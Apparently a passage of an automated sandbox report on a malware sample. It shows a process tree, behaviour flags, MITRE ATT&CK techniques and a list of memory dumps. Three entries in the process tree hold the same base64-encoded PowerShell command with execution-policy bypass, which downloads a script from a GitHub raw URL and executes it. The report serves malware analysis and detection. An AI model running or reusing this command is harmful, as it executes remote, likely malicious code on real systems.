- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:2184

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:908
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1184
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:4004

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1344-209-0x000001FC6BA36000-0x000001FC6BA38000-memory.dmp

Filesize
8KB

Download
memory/1344-207-0x000001FC6BA30000-0x000001FC6BA32000-memory.dmp

Filesize
8KB

Download
memory/1344-208-0x000001FC6BA33000-0x000001FC6BA35000-memory.dmp

Filesize
8KB

Download
memory/1344-210-0x000001FC6BA38000-0x000001FC6BA3A000-memory.dmp

Filesize
8KB

Download
memory/1924-201-0x0000021A1EC38000-0x0000021A1EC3A000-memory.dmp

Filesize
8KB

Download
memory/1924-170-0x0000021A1EC30000-0x0000021A1EC32000-memory.dmp

Filesize
8KB

Download
memory/1924-171-0x0000021A1EC33000-0x0000021A1EC35000-memory.dmp

Filesize
8KB

Download
memory/1924-194-0x0000021A1EC36000-0x0000021A1EC38000-memory.dmp

Filesize
8KB

Download
memory/2416-136-0x0000028428C53000-0x0000028428C55000-memory.dmp

Filesize
8KB

Download
memory/2416-144-0x0000028428B90000-0x0000028428B91000-memory.dmp

Filesize
4KB

Download
memory/2416-160-0x0000028428C58000-0x0000028428C59000-memory.dmp

Filesize
4KB

Download
memory/2416-151-0x00000284295D0000-0x00000284295D1000-memory.dmp

Filesize
4KB

Download
memory/2416-146-0x0000028428C56000-0x0000028428C58000-memory.dmp

Filesize
8KB

Download
memory/2416-126-0x0000028428BA0000-0x0000028428BA1000-memory.dmp

Filesize
4KB

Download
memory/2416-135-0x0000028428C50000-0x0000028428C52000-memory.dmp

Filesize
8KB

Download
memory/2416-152-0x0000028429960000-0x0000028429961000-memory.dmp

Filesize
4KB

Download
memory/2416-129-0x0000028428EE0000-0x0000028428EE1000-memory.dmp

Filesize
4KB

Download
memory/3836-202-0x0000027E6E3D0000-0x0000027E6E3D2000-memory.dmp

Filesize
8KB

Download
memory/3836-203-0x0000027E6E3D3000-0x0000027E6E3D5000-memory.dmp

Filesize
8KB

Download
memory/3836-206-0x0000027E6E3D8000-0x0000027E6E3DA000-memory.dmp

Filesize
8KB

Download
memory/3836-205-0x0000027E6E3D6000-0x0000027E6E3D8000-memory.dmp

Filesize
8KB

Download
memory/3904-120-0x00000162EA656000-0x00000162EA657000-memory.dmp

Filesize
4KB

Download
memory/3904-114-0x0000000000EF0000-0x0000000001ADE000-memory.dmp

Filesize
11.9MB

Download
memory/3904-115-0x00000162EA910000-0x00000162EABBA000-memory.dmp

Filesize
2.7MB

Download
memory/3904-117-0x00000162EA650000-0x00000162EA652000-memory.dmp

Filesize
8KB

Download
memory/3904-119-0x00000162EA655000-0x00000162EA656000-memory.dmp

Filesize
4KB

Download
memory/3904-118-0x00000162EA653000-0x00000162EA655000-memory.dmp

Filesize
8KB

Download
memory/4004-242-0x0000020DE3540000-0x0000020DE3542000-memory.dmp

Filesize
8KB

Download
memory/4004-243-0x0000020DE3543000-0x0000020DE3545000-memory.dmp

Filesize
8KB

Download
memory/4004-244-0x0000020DE3546000-0x0000020DE3548000-memory.dmp

Filesize
8KB

Download
memory/4004-245-0x0000020DE3548000-0x0000020DE3549000-memory.dmp

Filesize
4KB

Download